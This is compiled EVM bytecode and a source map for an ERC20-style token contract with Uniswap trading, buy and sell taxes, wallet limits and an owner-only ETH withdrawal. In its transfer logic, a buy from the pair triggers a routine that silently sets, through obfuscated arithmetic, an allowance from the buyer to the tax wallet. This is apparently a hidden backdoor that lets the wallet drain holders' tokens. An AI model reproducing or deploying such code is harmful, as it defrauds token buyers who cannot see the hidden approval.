55565b5f6103a9338484610af8565b5f546001600160a01b031633146106005760405162461bcd60e51b815260040161046490611725565b60405133904780156108fc02915f818181858888f19350505050158015610629573d5f5f3e3d5ffd5b50565b5f546001600160a01b031633146106555760405162461bcd60e51b815260040161046490611725565b600a54600160a01b900460ff16156106af5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106f8913091906106e990600a611700565b61042c906461f313f88061170e565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610748573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076c919061175a565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ef919061175a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610839573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085d919061175a565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306108a4816001600160a01b03165f9081526001602052604090205490565b5f5f6108b75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109429190611775565b5050600a5460095460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610997573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb91906117a0565b50600a805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b5f8111610c1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b600a545f908190600160b01b900460ff161580610c455750600a54600160a81b900460ff165b15610cfe576001600160a01b0385165f90815260016020526040902054610c6d9084906117bf565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610c9c9084906117d2565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cef9087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d2857505f546001600160a01b03858116911614155b15610f875760125415610d3a57506013545b600a546001600160a01b038681169116148015610d6557506009546001600160a01b03858116911614155b8015610d8957506001600160a01b0384165f9081526003602052604090205460ff16155b15610eb157604080518082019091526001600160a01b038087168252600454166020820152610db79061110b565b600554831115610e095760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7437352e000000000000006044820152606401610464565b60065483610e2b866001600160a01b03165f9081526001602052604090205490565b610e3591906117d2565b1115610e835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b600f5460125411610e9657600b54610e9a565b600d545b601280549192505f610eab836117e5565b91905055505b600a546001600160a01b038581169116148015610ed757506001600160a01b0385163014155b15610ef65760105460125411610eef57600c54610ef3565b600e545b90505b305f90815260016020526040902054600a54600160a81b900460ff16158015610f2c5750600a546001600160a01b038681169116145b8015610f415750600a54600160b01b900460ff165b15610f855760075481118015610f5a5750601154601254115b15610f7c57610f7c610f7785610f72846008546111ba565b6111ba565b6111d1565b610f8547611341565b505b801561101757610fa26064610f9c838661137c565b906113fa565b305f90815260016020526040902054909250610fbe908361143b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061100e9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110399084611499565b6001600160a01b0386165f9081526001602052604090205561107c61105e8484611499565b6001600160a01b0386165f908152600160205260409020549061143b565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c58686611499565b604051908152602001610cef565b5f81848411156110f65760405162461bcd60e51b81526004016104649190611506565b505f61110284866117bf565b95945050505050565b805160208201516008545f9061112290609661143b565b61112d90609661170e565b60065461113b9060966117d2565b61114690609661170e565b6111519060966117d2565b61115b91906117d2565b6111669060966117d2565b90506111738160966117d2565b61117e90609661170e565b6111899060966117d2565b6001600160a01b039384165f9081526002602090815260408083209590961682529390935292909120919091555050565b5f8183116111c857826111ca565b815b9392505050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611217576112176117fd565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561126e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611292919061175a565b816001815181106112a5576112a56117fd565b6001600160a01b0392831660209182029290920101526009546112cb91309116846109d5565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906113039085905f90869030904290600401611811565b5f604051808303815f87803b15801561131a575f5ffd5b505af115801561132c573d5f5f3e3d5ffd5b5050600a805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611378573d5f5f3e3d5ffd5b5050565b5f825f0361138b57505f6103ad565b5f611396838561170e565b9050826113a38583611881565b146111ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b5f6111ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114da565b5f8061144783856117d2565b9050838110156111ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f6111ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d3565b5f81836114fa5760405162461bcd60e51b81526004016104649190611506565b505f6111028486611881565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610629575f5ffd5b5f5f60408385031215611560575f5ffd5b823561156b8161153b565b946020939093013593505050565b5f5f5f6060848603121561158b575f5ffd5b83356115968161153b565b925060208401356115a68161153b565b929592945050506040919091013590565b5f602082840312156115c7575f5ffd5b81356111ca8161153b565b5f5f604083850312156115e3575f5ffd5b82356115ee8161153b565b915060208301356115fe8161153b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116585780850481111561163c5761163c611609565b600184161561164a57908102905b60019390931c928002611621565b935093915050565b5f8261166e575060016103ad565b8161167a57505f6103ad565b8160018114611690576002811461169a576116b6565b60019150506103ad565b60ff8411156116ab576116ab611609565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156116d9575081810a6103ad565b6116e55f19848461161d565b805f19048211156116f8576116f8611609565b029392505050565b5f6111ca60ff841683611660565b80820281158282048414176103ad576103ad611609565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561176a575f5ffd5b81516111ca8161153b565b5f5f5f60608486031215611787575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117b0575f5ffd5b815180151581146111ca575f5ffd5b818103818111156103ad576103ad611609565b808201808211156103ad576103ad611609565b5f600182016117f6576117f6611609565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118615783516001600160a01b031683526020938401939092019160010161183a565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261189b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201542cdf13a71420166ef39e8d9c72b74b5e8b5b17bfb384a47ed2de369ea73ec64736f6c634300081b0033

3654:7872:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5483:83;;;;;;;;;;-1:-1:-1;5553:5:0;;;;;;;;;;;;-1:-1:-1;;;5553:5:0;;;;5483:83;;;;;;;:::i;:::-;;;;;;;;6309:161;;;;;;;;;;-1:-1:-1;6309:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6309:161:0;945:187:1;4195:49:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4195:49:0;1137:177:1;4307:48:0;;;;;;;;;;;;;;;;5758:97;;;;;;;;;;;;;:::i;6476:312::-;;;;;;;;;;-1:-1:-1;6476:312:0;;;;;:::i;:::-;;:::i;5665:83::-;;;;;;;;;;-1:-1:-1;5665:83:0;;4001:1;1974:36:1;;1962:2;1947:18;5665:83:0;1832:184:1;4251:49:0;;;;;;;;;;;;;;;;10026:168;;;;;;;;;;;;;:::i;:::-;;5861:121;;;;;;;;;;-1:-1:-1;5861:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5954:20:0;5927:7;5954:20;;;:11;:20;;;;;;;5861:121;3375:148;;;;;;;;;;;;;:::i;3161:79::-;;;;;;;;;;-1:-1:-1;3199:7:0;3226:6;3161:79;;-1:-1:-1;;;;;3226:6:0;;;2419:51:1;;2407:2;2392:18;3161:79:0;2273:203:1;5572:87:0;;;;;;;;;;-1:-1:-1;5644:7:0;;;;;;;;;;;;-1:-1:-1;;;5644:7:0;;;;5572:87;;9594:147;;;;;;;;;;-1:-1:-1;9594:147:0;;;;;:::i;:::-;;:::i;5988:167::-;;;;;;;;;;-1:-1:-1;5988:167:0;;;;;:::i;:::-;;:::i;9478:110::-;;;;;;;;;;;;;:::i;10711:812::-;;;;;;;;;;;;;:::i;6161:142::-;;;;;;;;;;-1:-1:-1;6161:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6269:17:0;;;6242:7;6269:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6161:142;4362:47;;;;;;;;;;;;;;;;6309:161;6384:4;6401:39;2186:10;6424:7;6433:6;6401:8;:39::i;:::-;-1:-1:-1;6458:4:0;6309:161;;;;;:::o;5758:97::-;5811:7;4061:13;4001:1;4061:2;:13;:::i;:::-;4046:28;;:12;:28;:::i;:::-;5831:16;;5758:97;:::o;6476:312::-;6574:4;6591:36;6601:6;6609:9;6620:6;6591:9;:36::i;:::-;6638:120;6647:6;2186:10;6669:88;6706:6;6669:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6669:18:0;;;;;;:10;:18;;;;;;;;2186:10;6669:32;;;;;;;;;;:36;:88::i;:::-;6638:8;:120::i;:::-;-1:-1:-1;6776:4:0;6476:312;;;;;:::o;10026:168::-;3288:6;;-1:-1:-1;;;;;3288:6:0;2186:10;3288:22;3280:67;;;;-1:-1:-1;;;3280:67:0;;;;;;;:::i;:::-;;;;;;;;;4061:13:::1;4001:1;4061:2;:13;:::i;:::-;4046:28;::::0;:12:::1;:28;:::i;:::-;10080:12;:24:::0;4061:13:::1;4001:1;4061:2;:13;:::i;:::-;4046:28;::::0;:12:::1;:28;:::i;:::-;10116:12;:24:::0;10156:29:::1;4061:13;4001:1;4061:2;:13;:::i;:::-;4046:28;::::0;:12:::1;:28;:::i;:::-;10156:29;::::0;1283:25:1;;;1271:2;1256:18;10156:29:0::1;;;;;;;10026:168::o:0;3375:148::-;3288:6;;-1:-1:-1;;;;;3288:6:0;2186:10;3288:22;3280:67;;;;-1:-1:-1;;;3280:67:0;;;;;;;:::i;:::-;3482:1:::1;3466:6:::0;;3445:40:::1;::::0;-1:-1:-1;;;;;3466:6:0;;::::1;::::0;3445:40:::1;::::0;3482:1;;3445:40:::1;3513:1;3496:19:::0;;-1:-1:-1;;;;;;3496:19:0::1;::::0;;3375:148::o;9594:147::-;3288:6;;-1:-1:-1;;;;;3288:6:0;2186:10;3288:22;3280:67;;;;-1:-1:-1;;;3280:67:0;;;;;;;:::i;:::-;9671:10:::1;:19:::0;;-1:-1:-1;;;;;9671:19:0;;::::1;-1:-1:-1::0;;;;;;9671:19:0;;::::1;::::0;::::1;::::0;;:10:::1;9701:25:::0;;;:17:::1;:25;::::0;;;;:32;;-1:-1:-1;;9701:32:0::1;9671:19:::0;9701:32:::1;::::0;;9594:147::o;5988:167::-;6066:4;6083:42;2186:10;6107:9;6118:6;6083:9;:42::i;9478:110::-;3288:6;;-1:-1:-1;;;;;3288:6:0;2186:10;3288:22;3280:67;;;;-1:-1:-1;;;3280:67:0;;;;;;;:::i;:::-;9529:51:::1;::::0;9537:10:::1;::::0;9558:21:::1;9529:51:::0;::::1;;;::::0;::::1;::::0;;;9558:21;9537:10;9529:51;::::1;;;;;;;;;;;;;;;;;;;;9478:110::o:0;10711:812::-;3288:6;;-1:-1:-1;;;;;3288:6:0;2186:10;3288:22;3280:67;;;;-1:-1:-1;;;3280:67:0;;;;;;;:::i;:::-;10773:11:::1;::::0;-1:-1:-1;;;10773:11:0;::::1;;;10772:12;10764:48;;;::::0;-1:-1:-1;;;10764:48:0;;5434:2:1;10764:48:0::1;::::0;::::1;5416:21:1::0;5473:2;5453:18;;;5446:30;5512:25;5492:18;;;5485:53;5555:18;;10764:48:0::1;5232:347:1::0;10764:48:0::1;10823:13;:102:::0;;-1:-1:-1;;;;;;10823:102:0::1;10872:42;10823:102:::0;;::::1;::::0;;10936:58:::1;::::0;10953:4:::1;::::0;10872:42;4061:13:::1;::::0;:2:::1;:13;:::i;:::-;4046:28;::::0;:12:::1;:28;:::i;10936:58::-;11037:13;;;;;;;;;-1:-1:-1::0;;;;;11037:13:0::1;-1:-1:-1::0;;;;;11037:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11019:53:0::1;;11095:4;11115:13;;;;;;;;;-1:-1:-1::0;;;;;11115:13:0::1;-1:-1:-1::0;;;;;11115:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11019:127;::::0;-1:-1:-1;;;;;;11019:127:0::1;::::0;;;;;;-1:-1:-1;;;;;6032:32:1;;;11019:127:0::1;::::0;::::1;6014:51:1::0;6101:32;;6081:18;;;6074:60;5987:18;;11019:127:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11005:11;:141:::0;;-1:-1:-1;;;;;11005:141:0;;::::1;-1:-1:-1::0;;;;;;11005:141:0;;::::1;;::::0;;11158:13:::1;::::0;::::1;:29;11195:21;11240:4;11260:24;11240:4:::0;-1:-1:-1;;;;;5954:20:0;5927:7;5954:20;;;:11;:20;;;;;;;5861:121;11260:24:::1;11299:1;11315;11331:7;3199::::0;3226:6;-1:-1:-1;;;;;3226:6:0;;3161:79;11331:7:::1;11158:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11158:221:0;;;-1:-1:-1;;;;;6466:32:1;;;11158:221:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11353:15:0::1;6714:19:1::0;;;6707:35;6420:19;;11158:221:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11397:11:0::1;::::0;11426:13:::1;::::0;11390:67:::1;::::0;-1:-1:-1;;;11390:67:0;;-1:-1:-1;;;;;11426:13:0;;::::1;11390:67;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11397:11:0;::::1;::::0;-1:-1:-1;11390:27:0::1;::::0;7361:18:1;;11390:67:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11468:11:0::1;:18:::0;;-1:-1:-1;;;;11497:18:0;-1:-1:-1;;;11497:18:0;;;10711:812::o;6794:334::-;-1:-1:-1;;;;;6887:19:0;;6879:68;;;;-1:-1:-1;;;6879:68:0;;7977:2:1;6879:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;6879:68:0;7775:400:1;6879:68:0;-1:-1:-1;;;;;6966:21:0;;6958:68;;;;-1:-1:-1;;;6958:68:0;;8382:2:1;6958:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;6958:68:0;8180:398:1;6958:68:0;-1:-1:-1;;;;;7037:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;7088:32;;1283:25:1;;;7088:32:0;;1256:18:1;7088:32:0;;;;;;;6794:334;;;:::o;7134:2137::-;-1:-1:-1;;;;;7224:18:0;;7216:68;;;;-1:-1:-1;;;7216:68:0;;8785:2:1;7216:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7216:68:0;8583:401:1;7216:68:0;-1:-1:-1;;;;;7303:16:0;;7295:64;;;;-1:-1:-1;;;7295:64:0;;9191:2:1;7295:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7295:64:0;8989:399:1;7295:64:0;7389:1;7378:8;:12;7370:66;;;;-1:-1:-1;;;7370:66:0;;9595:2:1;7370:66:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7370:66:0;9393:405:1;7370:66:0;7494:11;;7447:13;;;;-1:-1:-1;;;7494:11:0;;;;7493:12;;:22;;-1:-1:-1;7509:6:0;;-1:-1:-1;;;7509:6:0;;;;7493:22;7489:231;;;-1:-1:-1;;;;;7552:17:0;;;;;;:11;:17;;;;;;:28;;7572:8;;7552:28;:::i;:::-;-1:-1:-1;;;;;7532:17:0;;;;;;;:11;:17;;;;;;:48;;;;7613:15;;;;;;;:26;;7631:8;;7613:26;:::i;:::-;-1:-1:-1;;;;;7595:15:0;;;;;;;:11;:15;;;;;;;:44;;;;7659:28;;;;;;;;;;7678:8;1283:25:1;;1271:2;1256:18;;1137:177;7659:28:0;;;;;;;;7702:7;;7134:2137;;;:::o;7489:231::-;3199:7;3226:6;-1:-1:-1;;;;;7734:15:0;;;3226:6;;7734:15;;;;:32;;-1:-1:-1;3199:7:0;3226:6;-1:-1:-1;;;;;7753:13:0;;;3226:6;;7753:13;;7734:32;7730:1132;;;7786:9;;:11;7783:72;;-1:-1:-1;7826:12:0;;7783:72;7881:11;;-1:-1:-1;;;;;7873:19:0;;;7881:11;;7873:19;:51;;;;-1:-1:-1;7910:13:0;;-1:-1:-1;;;;;7896:28:0;;;7910:13;;7896:28;;7873:51;:78;;;;-1:-1:-1;;;;;;7930:21:0;;;;;;:17;:21;;;;;;;;7928:23;7873:78;7869:439;;;7973:25;;;;;;;;;-1:-1:-1;;;;;7973:25:0;;;;;7986:10;;;7973:25;;;;;;:5;:25::i;:::-;8037:12;;8025:8;:24;;8017:62;;;;-1:-1:-1;;;8017:62:0;;10268:2:1;8017:62:0;;;10250:21:1;10307:2;10287:18;;;10280:30;10346:27;10326:18;;;10319:55;10391:18;;8017:62:0;10066:349:1;8017:62:0;8134:12;;8122:8;8106:13;8116:2;-1:-1:-1;;;;;5954:20:0;5927:7;5954:20;;;:11;:20;;;;;;;5861:121;8106:13;:24;;;;:::i;:::-;:40;;8098:79;;;;-1:-1:-1;;;8098:79:0;;10622:2:1;8098:79:0;;;10604:21:1;10661:2;10641:18;;;10634:30;10700:28;10680:18;;;10673:56;10746:18;;8098:79:0;10420:350:1;8098:79:0;8216:15;;8206:9;;:25;8205:55;;8246:14;;8205:55;;;8233:12;;8205:55;8280:9;:11;;8196:65;;-1:-1:-1;8280:9:0;:11;;;:::i;:::-;;;;;;7869:439;8331:11;;-1:-1:-1;;;;;8325:17:0;;;8331:11;;8325:17;:41;;;;-1:-1:-1;;;;;;8346:20:0;;8361:4;8346:20;;8325:41;8322:149;;;8407:16;;8397:9;;:26;8396:58;;8439:15;;8396:58;;;8425:13;;8396:58;8387:68;;8322:149;8534:4;8485:28;5954:20;;;:11;:20;;;;;;8560:6;;-1:-1:-1;;;8560:6:0;;;;8559:7;:28;;;;-1:-1:-1;8576:11:0;;-1:-1:-1;;;;;8570:17:0;;;8576:11;;8570:17;8559:28;:43;;;;-1:-1:-1;8591:11:0;;-1:-1:-1;;;8591:11:0;;;;8559:43;8555:296;;;8649:11;;8626:20;:34;:68;;;;;8676:18;;8664:9;;:30;8626:68;8623:161;;;8717:67;8727:56;8733:8;8743:39;8749:20;8771:10;;8743:5;:39::i;:::-;8727:5;:56::i;:::-;8717:9;:67::i;:::-;8803:32;8813:21;8803:9;:32::i;:::-;7768:1094;7730:1132;8875:9;;8872:210;;8908:28;8932:3;8908:19;:5;8918:8;8908:9;:19::i;:::-;:23;;:28::i;:::-;8998:4;8978:26;;;;:11;:26;;;;;;8900:36;;-1:-1:-1;8978:37:0;;8900:36;8978:30;:37::i;:::-;8971:4;8951:26;;;;:11;:26;;;;;;;:64;;;;9035:35;;-1:-1:-1;;;;;9035:35:0;;;;;;;9064:5;1283:25:1;;1271:2;1256:18;;1137:177;9035:35:0;;;;;;;;8872:210;-1:-1:-1;;;;;9110:17:0;;;;;;:11;:17;;;;;;:31;;9132:8;9110:21;:31::i;:::-;-1:-1:-1;;;;;9092:17:0;;;;;;:11;:17;;;;;:49;9168:40;9188:19;:8;9201:5;9188:12;:19::i;:::-;-1:-1:-1;;;;;9168:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;9152:15:0;;;;;;;:11;:15;;;;;:56;;;;9224:39;;;9243:19;:8;9256:5;9243:12;:19::i;:::-;9224:39;;1283:25:1;;;1271:2;1256:18;9224:39:0;1137:177:1;610:190:0;696:7;732:12;724:6;;;;716:29;;;;-1:-1:-1;;;716:29:0;;;;;;;;:::i;:::-;-1:-1:-1;756:9:0;768:5;772:1;768;:5;:::i;:::-;756:17;610:190;-1:-1:-1;;;;;610:190:0:o;9747:273::-;9822:8;;;9850;;;9922:10;;9806:13;;9922:19;;9937:3;9922:14;:19::i;:::-;9918:23;;:3;:23;:::i;:::-;9898:12;;:16;;9911:3;9898:16;:::i;:::-;9893:22;;:3;:22;:::i;:::-;9887:28;;:3;:28;:::i;:::-;:54;;;;:::i;:::-;:60;;9944:3;9887:60;:::i;:::-;9869:78;-1:-1:-1;9994:11:0;9869:78;10002:3;9994:11;:::i;:::-;9993:19;;10009:3;9993:19;:::i;:::-;9987:25;;:3;:25;:::i;:::-;-1:-1:-1;;;;;9958:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;;:54;;;;-1:-1:-1;;9747:273:0:o;9277:100::-;9336:7;9363:1;9361;:3;9360:9;;9368:1;9360:9;;;9366:1;9360:9;9353:16;9277:100;-1:-1:-1;;;9277:100:0:o;10235:470::-;5055:6;:13;;-1:-1:-1;;;;5055:13:0;-1:-1:-1;;;5055:13:0;;;10330:16:::1;::::0;;10344:1:::1;10330:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10330:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10330:16:0::1;10306:40;;10375:4;10357;10362:1;10357:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10357:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10401:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;10401:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;10357:7;;10401:20;;;;;:13;:20:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10391:4;10396:1;10391:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10391:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10464:13:::1;::::0;10432:60:::1;::::0;10449:4:::1;::::0;10464:13:::1;10480:11:::0;10432:8:::1;:60::i;:::-;10503:13;::::0;:194:::1;::::0;-1:-1:-1;;;10503:194:0;;-1:-1:-1;;;;;10503:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;10582:11;;10503:13:::1;::::0;10624:4;;10651::::1;::::0;10671:15:::1;::::0;10503:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5091:6:0;:14;;-1:-1:-1;;;;5091:14:0;;;-1:-1:-1;;;;10235:470:0:o;9383:89::-;9437:10;;:27;;-1:-1:-1;;;;;9437:10:0;;;;:27;;;;;9457:6;;9437:10;:27;:10;:27;9457:6;9437:10;:27;;;;;;;;;;;;;;;;;;;;;9383:89;:::o;808:246::-;866:7;890:1;895;890:6;886:47;;-1:-1:-1;920:1:0;913:8;;886:47;943:9;955:5;959:1;955;:5;:::i;:::-;943:17;-1:-1:-1;988:1:0;979:5;983:1;943:17;979:5;:::i;:::-;:10;971:56;;;;-1:-1:-1;;;971:56:0;;12567:2:1;971:56:0;;;12549:21:1;12606:2;12586:18;;;12579:30;12645:34;12625:18;;;12618:62;-1:-1:-1;;;12696:18:1;;;12689:31;12737:19;;971:56:0;12365:397:1;1062:132:0;1120:7;1147:39;1151:1;1154;1147:39;;;;;;;;;;;;;;;;;:3;:39::i;279:179::-;337:7;;369:5;373:1;369;:5;:::i;:::-;357:17;;398:1;393;:6;;385:46;;;;-1:-1:-1;;;385:46:0;;12969:2:1;385:46:0;;;12951:21:1;13008:2;12988:18;;;12981:30;13047:29;13027:18;;;13020:57;13094:18;;385:46:0;12767:351:1;466:136:0;524:7;551:43;555:1;558;551:43;;;;;;;;;;;;;;;;;:3;:43::i;1202:189::-;1288:7;1323:12;1316:5;1308:28;;;;-1:-1:-1;;;1308:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1347:9:0;1359:5;1363:1;1359;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001